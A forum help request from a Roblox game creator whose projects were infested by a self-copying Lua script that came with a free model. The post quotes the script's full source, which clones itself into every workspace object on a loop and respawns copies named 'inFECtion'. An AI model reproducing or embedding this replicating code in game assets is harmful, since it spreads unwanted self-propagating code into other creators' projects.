How do you get rid of this annoying Lua virus?

I was creating a game a few days ago and put a free model in. All of a sudden there were tons of inFECted items under each part in my game. Under the inFECted there was a script called "script..... or is it?" The script kept duplicating. I tried some different virus removers for it but it didn't work. I also deleted all of my Plugins. I also noticed that the script duplicated into every one of my games. (I have 24 different games.) I feel like it is almost impossible to get rid of this annoying script. I have literally tried everything. Can someone please help me?

Here is what the inside of the script looks like:

if script.Parent.className ~= "RotateP" then local p = Instance.new("RotateP") p.Parent = workspace p.Name = "INfecTION" script.Parent = p end

function check() local list = workspace:GetChildren() for i = 1, #list do if list[i]:findFirstChild("INfecTION") == nil and list[i].className ~= "RotateP" then script.Parent:Clone().Parent = list[i] end wait() end end

while true do check() if workspace:findFirstChild("inFECtion") == nil then local main = script.Parent:Clone() main.Name = "inFECtion" main.Parent = workspace end wait(3) end
